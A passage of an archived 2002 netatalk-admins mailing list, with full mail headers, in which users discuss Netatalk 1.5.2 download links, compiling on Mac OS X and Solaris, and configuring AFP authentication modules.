	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 11:59:53 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (ebv.mimnet.northwestern.edu [165.124.253.94])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA20773
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 11:59:49 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (IDENT:tcG4FiKcvE3D9rhIj2083Tcz753RYkR6@localhost [127.0.0.1])
	by ebv.mimnet.nwu.edu with ESMTP id g1HGxjWA016248;
	Sun, 17 Feb 2002 10:59:45 -0600
Received: from localhost (aiyar@localhost)
	by ebv.mimnet.nwu.edu with ESMTP id g1HGxjv0016245;
	Sun, 17 Feb 2002 10:59:45 -0600
Date: Sun, 17 Feb 2002 10:59:45 -0600 (CST)
From: Ashok Aiyar <aiyar@ebv.mimnet.nwu.edu>
To: Lee Blevins <leeb@digitalgraphics.net>
cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Netatalk 1.5.2 out
In-Reply-To: <1f7qz2m.z7psgq18k3qqaM@ip68-14-83-188.ri.ri.cox.net>
Message-ID: <Pine.LNX.4.44.0202171057070.16244-100000@ebv.mimnet.nwu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sun, 17 Feb 2002, Lee Blevins wrote:

> > Netatalk 1.5.2 is now available at http://www.sf.net/projects/netatalk/
> > Changes from version 1.5.1 (and 1.5.1.1) include:
>
> Any way you could put this on an ftp site that doesn't require going
> through multiple web pages to get the file?
>
> When I go to that url, I see in a list the file and on the right the
> word "download."
>
> I click on download and it takes me to another page that says...
>
> "Below is a list of all files of the project. The release you have
> chosen is highlighted. Before downloading, you may want to read Release
> Notes and ChangeLog (accessible by clicking on release version)."
>
> I don't see ther word "download" but after poking around I find that if
> I click on the name I go to yet another page...

This doesn't seem to happen to me. If I click on "download" at the URL
given, I get taken to a page where the current release is highlighted in
pink.  Clicking on "netatalk-1.5.2.tar.gz" starts the download.  So that's
two clicks ...

Anyway, here is the download URL:
http://prdownloads.sourceforge.net/netatalk/netatalk-1.5.2.tar.gz

Ashok
-- 
Ashok Aiyar, Ph.D.
Assistant Professor                    email: a-aiyar@northwestern.edu
Department of Microbiology-Immunology           office: (312) 503-2524
303 E. Chicago Avenue, WARD 4-123                  lab: (312) 503-2542
Northwestern University, Chicago, IL 60611         fax: (312) 503-1339


From netatalk.administrators-errors@umich.edu  Sun Feb 17 15:05:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA05240
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 15:05:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA00118
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 15:05:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA00113
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 15:05:06 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA00103
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 15:05:05 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1HK53Ku001342
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 21:05:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1HK519u001303
	for netatalk-admins@umich.edu; Sun, 17 Feb 2002 21:05:01 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16cWsR-0001Ub-00
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 20:21:35 +0100
Date: Sun, 17 Feb 2002 20:21:35 +0100
To: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Netatalk 1.5.2 out
Message-ID: <20020217192135.GA5721@jroger.in-berlin.de>
Mail-Followup-To: Netatalk List <netatalk-admins@umich.edu>
References: <20020216103908.GA1761@jroger.in-berlin.de> <1f7qz2m.z7psgq18k3qqaM@ip68-14-83-188.ri.ri.cox.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <1f7qz2m.z7psgq18k3qqaM@ip68-14-83-188.ri.ri.cox.net>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sun, Feb 17, 2002 at 11:46:42AM -0500, Lee Blevins wrote:

> Any way you could put this on an ftp site that doesn't require going
> through multiple web pages to get the file?

Not FTP, but at least a specific URL:
http://me.in-berlin.de/~jroger/netatalk/netatalk-1.5.2.tar.gz

(All new Netatalk releases can be downloaded from that URL, with the
version number changed, of course.)

Please feel free to upload Netatalk to a FTP site an announce it here.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Feb 17 16:02:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA08020
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 16:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA03184
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 16:02:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA03162
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 16:02:42 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (ebv.mimnet.northwestern.edu [165.124.253.94])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA03130
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 16:02:41 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (IDENT:U6OHGHZmQbMdG8jcG+6nKIx5vP6Tu/iD@localhost [127.0.0.1])
	by ebv.mimnet.nwu.edu with ESMTP id g1HL2VWA019757;
	Sun, 17 Feb 2002 15:02:31 -0600
Received: from localhost (aiyar@localhost)
	by ebv.mimnet.nwu.edu with ESMTP id g1HL2VUh019754;
	Sun, 17 Feb 2002 15:02:31 -0600
Date: Sun, 17 Feb 2002 15:02:31 -0600 (CST)
From: Ashok Aiyar <aiyar@ebv.mimnet.nwu.edu>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Netatalk 1.5.2 out
In-Reply-To: <20020217192135.GA5721@jroger.in-berlin.de>
Message-ID: <Pine.LNX.4.44.0202171459430.19737-100000@ebv.mimnet.nwu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sun, 17 Feb 2002, Sebastian Rittau wrote:

> Not FTP, but at least a specific URL:
> http://me.in-berlin.de/~jroger/netatalk/netatalk-1.5.2.tar.gz
>
> Please feel free to upload Netatalk to a FTP site an announce it here.

Netatalk releases (tar.gz format only) can be downloaded from:
ftp://ebv.mimnet.northwestern/edu/pub/netatalk

This is not a mirror of the Sourceforge netatalk site -- I've just
been archiving netatalk releases.  If anyone needs to FTP it, my
computer doesn't get a lot of traffic, and therefore transfers
should be relatively fast.

Later,
Ashok

P.S. If anyone so chooses, new releases can be uploaded to:
ftp://ebv.mimnet.northwestern.edu/incoming, and I will move
them over.
-- 
Ashok Aiyar, Ph.D.
Assistant Professor                    email: a-aiyar@northwestern.edu
Department of Microbiology-Immunology           office: (312) 503-2524
303 E. Chicago Avenue, WARD 4-123                  lab: (312) 503-2542
Northwestern University, Chicago, IL 60611         fax: (312) 503-1339


From netatalk.administrators-errors@umich.edu  Sun Feb 17 17:16:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA11248
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 17:16:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA07967
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 17:16:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA07954
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 17:16:00 -0500 (EST)
Received: from smtp-out.mac.com (smtpout.mac.com [204.179.120.89])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA07917
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 17:15:59 -0500 (EST)
Received: from smtp-relay01.mac.com (smtp-relay01-qfe3 [10.13.10.224])
	by smtp-out.mac.com (8.12.1/8.12.1/1.0) with ESMTP id g1HMFxin013702
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 14:15:59 -0800 (PST)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GRP76M00.7D1 for
          <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 14:15:58 -0800 
Received: from localhost ([24.162.234.174]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GRP76M00.61J; Sun, 17 Feb 2002 14:15:58 -0800 
Date: Sun, 17 Feb 2002 17:15:56 -0500
Subject: compiling netatalk on OS X
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v480)
Cc: CSBURRIS@ci.tacoma.wa.us, Ryan Cassin <rcassin@supernova.org>
To: netatalk-admins@umich.edu
From: Eagle <eagle243@mac.com>
Content-Transfer-Encoding: 7bit
Message-Id: <EA2AF7D4-23F3-11D6-ACDD-0050E4D07206@mac.com>
X-Mailer: Apple Mail (2.480)

Ryan et al,

I spent some of the weekend getting netatalk 1.5.1.1 to compile on OS 
X.  The first thing I figured out was that Mac OS X (end-user version; 
I'm using 10.1.2) is getting incorrectly recognized as Mac OS X Server.  
As a result, the first thing you need to do after you run ./configure is 
edit the config.h file (in the root dir of the source tree) and comment 
out the "#define MACOSX_SERVER 1" -- I even went so far as to "#undef 
MACOSX_SERVER" -- just to be sure.

With that one change, much of the source tree compiles.  At least, the 
parts _I_ care about compile.   (As to whether they work, well, I'll 
figure that out later.)  Since I'm working on porting macipgw, all I 
needed was libatalk, and that does build with this one change.

The build runs into problems around the uam code (etc/afpd/uam.c), and I 
doubt I'll put too much more work into figuring that out.

FYI, and good luck.

Eagle


From netatalk.administrators-errors@umich.edu  Sun Feb 17 19:02:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA17517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 19:02:52 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA15734
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 19:02:52 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA15725
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 19:02:51 -0500 (EST)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA15710
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 19:02:50 -0500 (EST)
Received: from ip68-14-83-188.ri.ri.cox.net (coxlaptop [68.14.83.188])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id TAA14183;
	Sun, 17 Feb 2002 19:07:52 -0500 (EST)
	(envelope-from leeb@digitalgraphics.net)
To: aiyar@ebv.mimnet.nwu.edu (Ashok Aiyar),
        netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <Pine.LNX.4.44.0202171057070.16244-100000@ebv.mimnet.nwu.edu>
Subject: Re: Netatalk 1.5.2 out
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sun, 17 Feb 2002 19:02:43 -0500
Message-ID: <1f7rjiq.1jei74oyu2avoM@ip68-14-83-188.ri.ri.cox.net>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 390 days)

> http://prdownloads.sourceforge.net/netatalk/netatalk-1.5.2.tar.gz

That's all I needed.

Sometimes I wonder why there's graphics on web pages at all.

From netatalk.administrators-errors@umich.edu  Mon Feb 18 03:22:00 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA11081
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 03:21:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA08340
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 03:21:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA08334
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 03:21:59 -0500 (EST)
Received: from welt.gekko.de (welt.gekko.de [195.37.190.38])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA08321
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 03:21:58 -0500 (EST)
Received: from consul.gekko.de (C325BE12.pool.gekko.de [195.37.190.18])
	by welt.gekko.de (8.9.3+Sun/8.9.3) with ESMTP id JAA27659
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 09:25:45 +0100 (MET)
Message-Id: <5.1.0.14.2.20020218092311.00b27af0@welt.gekko.de>
X-Sender: pop.andreas@welt.gekko.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 18 Feb 2002 09:23:52 +0100
To: netatalk-admins@umich.edu
From: Andreas =?iso-8859-1?Q?Westend=F6rpf?= <andreas@gekko.de>
Subject: Re: Fwd: Re: Fwd: Re: atalkd under solaris 8
In-Reply-To: <Pine.SOL.4.30.0202151633060.16567-100000@publix>
References: <5.1.0.14.2.20020215172924.00b8c918@welt.gekko.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA11081

yeah, i did.
and i compiled with shadow passwords support.
ideas?

At 16:34 15.02.2002 +0000, you wrote:

>and you have added entries to netconfig and services?
>
>Sim
>
> > my output is:
> >
> > $ modinfo | grep ddp
> > 106 10292e78   3c05 199   1  ddp (DDP Streams device)
> > 106 10292e78   3c05  22   1  ddp (DDP Streams module)
> >
> > looks good, doesn't it.
> >
> > >Date: Fri, 15 Feb 2002 16:24:59 +0000 (GMT)
> > >From: "S.Barbaresi" <iss033@bangor.ac.uk>
> > >X-Sender:  <iss033@publix>
> > >To: Andreas Westendörpf <andreas@gekko.de>
> > >Subject: Re: Fwd: Re: atalkd under solaris 8
> > >
> > > > again, any clues? how can i check if the driver has been correctly
> > > installed?
> > >
> > >use:
> > >
> > >         modinfo | grep ddp
> > >  96 1031eba2   4fc9 169   1  ddp (DDP Streams device)
> > >  96 1031eba2   4fc9  19   1  ddp (DDP Streams module)
> > >
> > >Sim
> > >
> > >S.Barbaresi                                     E-mail
> > >s.barbaresi@bangor.ac.uk
> > >Computing Centre, UWB                           Tel (44) (01)248 
> 382403 (ddi)
> > >Sackville Road                                  Fax (44) (01)248 
> 383826 (ddi)
> > >Bangor, Gwynedd LL57 1LD, UK
> >
> >
> >
>
>S.Barbaresi                                     E-mail 
>s.barbaresi@bangor.ac.uk
>Computing Centre, UWB                           Tel (44) (01)248 382403 (ddi)
>Sackville Road                                  Fax (44) (01)248 383826 (ddi)
>Bangor, Gwynedd LL57 1LD, UK




From netatalk.administrators-errors@umich.edu  Mon Feb 18 07:33:56 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA22951
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 07:33:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1ICXu526269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 07:33:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1ICXtn26262
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 07:33:55 -0500 (EST)
Received: from agnostix.bangor.ac.uk (agnostix.bangor.ac.uk [147.143.2.39])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1ICXrY26232
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 07:33:54 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by agnostix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1ICXl27012902;
	Mon, 18 Feb 2002 12:33:47 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1ICXkI21268;
	Mon, 18 Feb 2002 12:33:46 GMT
Date: Mon, 18 Feb 2002 12:33:46 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: atalkd under solaris 8
In-Reply-To: <20020216014758.GB17548@jroger.in-berlin.de>
Message-ID: <Pine.SOL.4.30.0202181228230.16567-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> > Now if I could just get authenticated with netatalk 1.5.1.1 in Solaris....

> Are the uams in the right directory? Is this directory really searched
> by afpd? Do you use PAM? What does your PAM file look like? Is the PAM
> file in the right directory? Is that directory really searched by afpd?

I have the same problem. The netatalk uams are in the right directory, I
don't think they are being searched as a truss call doesn't show any files
being opened in the uams directory. What should the PAM file look like?
Do we really need PAM with the following:

	./configure --prefix=/usr/local/atalk  \
          --exec-prefix=/usr/local/atalk --with-shadow --enable-suse

Sim

ps I've been using 1.5.1.2, and I still see the same problems. Guest
   logins are fine, but authenticated logins fail. What am I doing wrong?

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK


From netatalk.administrators-errors@umich.edu  Mon Feb 18 08:44:42 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA26149
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 08:44:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA27333
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 08:44:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA27329
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 08:44:41 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA27301
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 08:44:40 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id PAA02859;
	Mon, 18 Feb 2002 15:11:37 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 18 Feb 2002 14:45:17 +0100
Subject: Re: logging in
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>, Steve Freitas <sflist@ihonk.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B896C3FB.1C1CE%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100325b8918a87df2f@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 14 Feb 2002 16:00:55 +0000, Ken Gillett wrote:

> The following is from netatalk.conf:-
> 
> AFPD_UAMLIST="-U uams_clrtxt.so,uams_guest.so,uams_passwd.so"

The first two entries are okay. The latter one is illegal, as you have to
specify types of AFP authentication and not to choose between backends, that
do the server side stuff (take a look into doc/CONFIGURE or use this html
version: <http://users.phg-online.de/tk/netatalk/doc/CONFIGURE.html>)

So this line should be read as:

AFPD_UAMLIST="-U uams_clrtxt.so,uams_guest.so"

as the last entry will be ignored.

As you specify these entries in netatalk.conf, they will be used for the
standard server in afpd.conf.

> afpd.conf says:-
> 
> -uampath <path>  Use this path to look for User Authentication Modules.
> #               (default: /usr/lib/netatalk/uams)
> 
> This is NOT where make install put things. That uses
> /usr/local/etc/netatalk but I can see nowhere that specifies this. Is
> it possible afpd's not finding any uams.

Take a look into your syslog. Afpd loggs the UAMs it uses/misses at startup
time.

>> as well as an "ls -l" of your uams directory (etc/netatalk/uams).
> 
> 
> This is /usr/local/etc/netatalk/uams
> 
> lrwxrwxrwx    1 root     root           11 Feb 13 18:34
> uams_clrtxt.so -> uams_pam.so
> [...]

Okay. The only UAM you have is 'Cleartext Authentication', which tries to do
the authentication via PAM on the server.

> [...]
> I thought that you needed to specify which uams you wanted to use
> (and other things) on the configure command line.

The configure checks for the pre-requisites of each UAM and tries to build
them all. You will need OpenSSL (and probably DES) for RandNum, 2-Way
RandNum and DHX to build.

If you put OpenSSL in a standard location, configure will detect this on its
own.

>>> and I have the guest, cleartxt (linked to pam) and also a
>>> new passwd uam.

The passwd uam does direct server-side authentication like looking into
/etc/passwd or /etc/shadow. Another alternative is uams_pam.so, which does
authentication via PAM. By changing the symlink for uams_clrtxt.so you can
choose which one to use. To avoid potential PAM-trouble I would do a 'rm
uams_clrtxt.so && ln -s uams_passwd.so uams_clrtxt.so' in the UAMs
directory.

>>> They are listed in netatalk.conf and nowhere else (not changed from before).

In netatalk.conf you can specify the UAMs that should be presented to
clients for the default server. In afpd.conf you can list several servers
and assign an individual list of supported UAMs for each entry. Watch you
syslog on startup what happens.

Obviously you can only use the UAMs that are built before. And in your case
this is only one (except guest login)

>> If you're using .passwd files, then afpd.conf should specify uams_passwd.so.
>> If you want users to authenticate against your /etc/shadow file, then you
>> should specify uams_dhx.so.

AFAIK this isn't true.

Between an AFP client and an AFP server several UAMs can be used -- with
netatalk the following 'standard' ones:

- Cleartext
- No User authent (aka guest login)
- RandNum and 2-Way RandNum
- DHX

(for details about the differences and pros/cons take a look at:
<ftp://terminator.rsug.itd.umich.edu/unix/netatalk/archive/netatalk-admins-m
ail/0647.html>)

Cleartext and DHX can use different authentication backends like PAM or Flat
Files. The ones to use can be specified by the symlink to the backend
mechanisms, either uams_passwd.so or uams_pam.so. RandNum and 2-Way RandNum
(both handled by uams_randnum.so) are different as they need the users
password's in a special place.

> As you can see, the dhx uams has not been compiled, which is odd
> since I specified to use /etc/shadow when running configure.

DHX has nothing to do with shadowed passwords. DHX is just a strong
encrypted authentication method between an AFP client and server. The
backend on the server can be either /etc/shadow, /etc/passwd or PAM (and
with PAM nearly everything -- even a remote windows NT server, IIRC)

> I am very unclear when the uams ought to be specified. There is an
> option to specify these in netatalk.conf and in afpd.conf. What is
> the significance of the 2 places

See above.

> and why also what about the
> configure command line?

With recent netatalk versions you don't have to specify single UAMs, as
configure tries to build the standard ones automatically (I refer to
'standard' UAMs as to the ones, that are already built-in into recent
AppleShare Clients so there won't be a need for client-side UAM modules
inside the AppleShare folder inside the system folder of each mac)

> Why not compile them all and make them all
> available to be chosen at run time, in one of the above files.

This _is_ the way, it already works ;-)

You should read the output of ./configure carefully or better redirect it
into a file, eg. with 'nohup ./configure ...'

Later, you can grep through the output file 'nohup.out' and search for eg.

    checking for SSL... /usr (enabling RANDNUM and DHX support)
    checking for main in -lcrypto... yes
    checking for main in -ldes... yes

> I did find that I didn't get guest login if i didn't include that in
> the netatalk.conf uamlist,

This is how it should work.

> but I've not changed anything else since replacing the Mandrake rpm with my
> compiled version.

And your compiled version doesn't include support for DHX and (2-Way)
Randnum. The 'Cleartext' UAM should use PAM but maybe that's setup
incorrectly. So I would try to let uams_clrtxt.so point to uams_passwd.so
and see whether this works.

BTW: Checking the pre-requisites for building netatalk can be done by
examining the specs file of the RPM, you used before.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 18 09:16:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA28610
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 09:16:26 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1IEGQn25188
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 09:16:26 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1IEGQG25178
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 09:16:26 -0500 (EST)
Received: from mail1.vcu.edu (mail1.vcu.edu [128.172.1.134])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1IEGPY25166
	for <netatalk-admins@umich.edu>; Mon, 18 Feb 2002 09:16:25 -0500 (EST)
Received: from [128.172.20.37] ([128.172.20.37])
	by mail1.vcu.edu (8.12.0/8.11.1) with ESMTP id g1IEG0I3041128;
	Mon, 18 Feb 2002 09:16:00 -0500
Mime-Version: 1.0
X-Sender: rethiema@mail1.vcu.edu (Unverified)
Message-Id: <p05100300b896bd052a27@[128.172.20.37]>
In-Reply-To: <B8934FED.3041B%ts@visual-s.de>
References: <B8934FED.3041B%ts@visual-s.de>
Date: Mon, 18 Feb 2002 09:15:58 -0500
To: Thomas Schierle <ts@visual-s.de>,
        Netatalk-Admins <netatalk-admins@umich.edu>
From: Robert Thiemann <rethiema@vcu.edu>
Subject: Re: Backing up a Netatalk share.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:18 PM +0100 2/16/02, Thomas Schierle wrote:
>On 2002-02-15 21:10 +0100, Robert Thiemann wrote:
>
>>  No, the idea was to back up the AppleTalk shares via Retrospect (on a
>>  separate machine, obviously) to tape.
>>
>  > The server I need to back up is my production server. We have a 10
>>  tape autoloader that is used to back up via Retropsect. Im migrating
>>  from NT4, where I just mounted the shares, used NT's ACLs to give the
>>  Backup Operate full control of the shares being backed up.
>>
>>  We're an almost complete Mac-shop except for the server and two PCs.
>>  I need to make sure the Resource info doesn't get munged.
>
>I don't remember your original request, but may be Netatalks admin
>group feature is what you are looking for? -- A member of admin group
>is granted supervisor rights for all sharepoints provided by Netatalk.

Hmmm... where's the documentation for this live?

-- 
Robert Thiemann
Network Engineer
VCU Adcenter
rethiema@vcu.edu

From netatalk.administrators-errors@umich.edu  Mon Feb 18 09:24:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA29130
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 18 Feb 2002 09:24:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA12490
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 18 Feb 2002 09:24:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA12473
	for netatalk.administrators-members@umich.edu; Mon, 18 Feb 2002 09:24:12 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
